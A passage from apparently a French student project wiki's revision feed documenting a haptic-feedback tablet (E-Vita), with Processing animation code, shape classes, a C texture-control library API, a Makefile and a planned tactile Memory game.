La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils Haut Niveau==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
===La classe abstraite Tforme ===&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
===La classe Trectangle===&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
===La classe Tcircle===&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Fonction de Rotation===&lt;br /&gt;
&lt;br /&gt;
Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.&lt;br /&gt;
L'outil processing permet de réalise une rotation via la commande&lt;br /&gt;
&lt;br /&gt;
 rotate()&lt;br /&gt;
&lt;br /&gt;
Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.&lt;br /&gt;
&lt;br /&gt;
Photo 1&lt;br /&gt;
&lt;br /&gt;
Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.&lt;br /&gt;
&lt;br /&gt;
Photo 2&lt;br /&gt;
&lt;br /&gt;
Il me semble donc obligatoire d'utiliser un peu de trigonométrie :&lt;br /&gt;
&lt;br /&gt;
Photo table de vérité + Représentation schématique&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à Outils Bas Niveau==&lt;br /&gt;
&lt;br /&gt;
Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.&lt;br /&gt;
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.&lt;br /&gt;
&lt;br /&gt;
On manipule donc nos structure en C en rendant publique les méthodes :&lt;br /&gt;
&lt;br /&gt;
 int startEvita();    // Initialisation &lt;br /&gt;
 void stopEvita();     &lt;br /&gt;
 &lt;br /&gt;
 void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2);               //Définition forme géométrique où sera présente la texture : Taxtel&lt;br /&gt;
 void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r);     //Idem mais de manière elliptique&lt;br /&gt;
 void disableTaxtTel(int id, int textureId);                                              //Désactive le retour tactile pour la forme sélectionné&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc);     //Fonction définissant les texture possible : Signal Carré / Sinusoïde&lt;br /&gt;
 void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);&lt;br /&gt;
 &lt;br /&gt;
 void registerCallbackPressed(void (*myfonction) (int x, int y));                  //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...&lt;br /&gt;
 void registerCallbackDragged(void (*myfonction) (int x, int y));&lt;br /&gt;
 void registerCallbackRelease(void (*myfonction)());&lt;br /&gt;
 void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));&lt;br /&gt;
 void registerCallbackTexture(void (*myfonction) (int signal, int period));&lt;br /&gt;
&lt;br /&gt;
Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ci-dessous le makefile générant au choix une librairie statique/dynamique :&lt;br /&gt;
&lt;br /&gt;
 CC=gcc&lt;br /&gt;
 AR=ar&lt;br /&gt;
 EXEC=main&lt;br /&gt;
 SOURCE=libTextureControl.c&lt;br /&gt;
 OBJ=libTextureControl.o&lt;br /&gt;
 STATIC=libTextureControl.a&lt;br /&gt;
 DYNAMIC=libTextureControl.so&lt;br /&gt;
 HEAD=libTextureControl.h&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 clean:&lt;br /&gt;
 	rm -rf *.o *.a *.so *.out&lt;br /&gt;
 &lt;br /&gt;
 dynamic:$(DYNAMIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(DYNAMIC):$(OBJ)&lt;br /&gt;
 	gcc -shared -o $(DYNAMIC) $(OBJ)&lt;br /&gt;
 &lt;br /&gt;
 $(OBJ):$(SOURCE)&lt;br /&gt;
 	gcc -c -fPIC $(SOURCE)&lt;br /&gt;
 &lt;br /&gt;
 install:&lt;br /&gt;
 	sudo mv $(STATIC) /usr/lib&lt;br /&gt;
 	sudo mv $(DYNAMIC) /usr/lib&lt;br /&gt;
 	sudo mv $(HEAD) /usr/include&lt;br /&gt;
 &lt;br /&gt;
 static:$(STATIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(STATIC):$(OBJ)&lt;br /&gt;
 	$(AR) rcs $(STATIC) $(OBJ)&lt;br /&gt;
&lt;br /&gt;
== Application ==&lt;br /&gt;
&lt;br /&gt;
Afin de présenter la bibliothèque, j'ai développé une application mettant en valeur le retour tactile.&lt;br /&gt;
&lt;br /&gt;
Pour ceux, j'ai penser à réaliser le jeu &amp;quot;Memory&amp;quot;.&lt;br /&gt;
Le jeu se présente ainsi :&lt;br /&gt;
*On dspose un nombre pair de cartes face cachée.&lt;br /&gt;
*L'utilisateur en retourne une et découvre le symbole sur la face recto de la carte.&lt;br /&gt;
*L'utilisateur cherche donc la paire correspondante dans le jeu mais n'a qu'un seul essai avant que les deux cartes ne se retournent face verso.&lt;br /&gt;
*Grâce à sa mémoire et à la chance, il doit donc composé des paires de cartes qui se retirent du jeu quand une bonne pair est trouvé.&lt;br /&gt;
&lt;br /&gt;
J'ai adapté le jeu, afin que ce ne soit pas des symboles qui s'affichent sur le recto de la carte mais bien une texture tactile.&lt;br /&gt;
À la vue des contraintes, l'utilisateur devra validé sa paire avec un bouton adéquate.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut structurer le jeu ainsi : &lt;br /&gt;
&lt;br /&gt;
*Initialisation du plateau de jeu (18 cartes face verso).&lt;br /&gt;
**Distribution aléatoire 18/2 textures&lt;br /&gt;
*Tant que toutes les paires ne sont pas trouvées&lt;br /&gt;
**Tirer la première carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Tirer la deuxième carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Valider&lt;br /&gt;
**Test des motifs &lt;br /&gt;
***Si texture équivalente -&amp;gt; Le joueur gagne 1 points, le nombre de coup joué prend +1 -&amp;gt; Les cartes sont retirés&lt;br /&gt;
***Si texture non-équivalente -&amp;gt; Le nombre de coup joué prend +1 -&amp;gt; les cartes sont remises faces verso.&lt;br /&gt;
*Fin tant que &lt;br /&gt;
*Affichage du nombre de coups joués + durée de la partie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Menu jeu.png|200px|thumb|left]]&lt;br /&gt;
[[Fichier:Game.png|200px|thumb|right]]&lt;br /&gt;
[[Fichier:Pause.png|200px|thumb|right]]&lt;br /&gt;
[[Fichier:Win.png|200px|thumb|right]]&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39488</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39488"/>
				<updated>2017-02-23T01:13:58Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils Haut Niveau==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
===La classe abstraite Tforme ===&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
===La classe Trectangle===&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
===La classe Tcircle===&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Fonction de Rotation===&lt;br /&gt;
&lt;br /&gt;
Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.&lt;br /&gt;
L'outil processing permet de réalise une rotation via la commande&lt;br /&gt;
&lt;br /&gt;
 rotate()&lt;br /&gt;
&lt;br /&gt;
Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.&lt;br /&gt;
&lt;br /&gt;
Photo 1&lt;br /&gt;
&lt;br /&gt;
Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.&lt;br /&gt;
&lt;br /&gt;
Photo 2&lt;br /&gt;
&lt;br /&gt;
Il me semble donc obligatoire d'utiliser un peu de trigonométrie :&lt;br /&gt;
&lt;br /&gt;
Photo table de vérité + Représentation schématique&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à Outils Bas Niveau==&lt;br /&gt;
&lt;br /&gt;
Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.&lt;br /&gt;
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.&lt;br /&gt;
&lt;br /&gt;
On manipule donc nos structure en C en rendant publique les méthodes :&lt;br /&gt;
&lt;br /&gt;
 int startEvita();    // Initialisation &lt;br /&gt;
 void stopEvita();     &lt;br /&gt;
 &lt;br /&gt;
 void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2);               //Définition forme géométrique où sera présente la texture : Taxtel&lt;br /&gt;
 void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r);     //Idem mais de manière elliptique&lt;br /&gt;
 void disableTaxtTel(int id, int textureId);                                              //Désactive le retour tactile pour la forme sélectionné&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc);     //Fonction définissant les texture possible : Signal Carré / Sinusoïde&lt;br /&gt;
 void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);&lt;br /&gt;
 &lt;br /&gt;
 void registerCallbackPressed(void (*myfonction) (int x, int y));                  //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...&lt;br /&gt;
 void registerCallbackDragged(void (*myfonction) (int x, int y));&lt;br /&gt;
 void registerCallbackRelease(void (*myfonction)());&lt;br /&gt;
 void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));&lt;br /&gt;
 void registerCallbackTexture(void (*myfonction) (int signal, int period));&lt;br /&gt;
&lt;br /&gt;
Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ci-dessous le makefile générant au choix une librairie statique/dynamique :&lt;br /&gt;
&lt;br /&gt;
 CC=gcc&lt;br /&gt;
 AR=ar&lt;br /&gt;
 EXEC=main&lt;br /&gt;
 SOURCE=libTextureControl.c&lt;br /&gt;
 OBJ=libTextureControl.o&lt;br /&gt;
 STATIC=libTextureControl.a&lt;br /&gt;
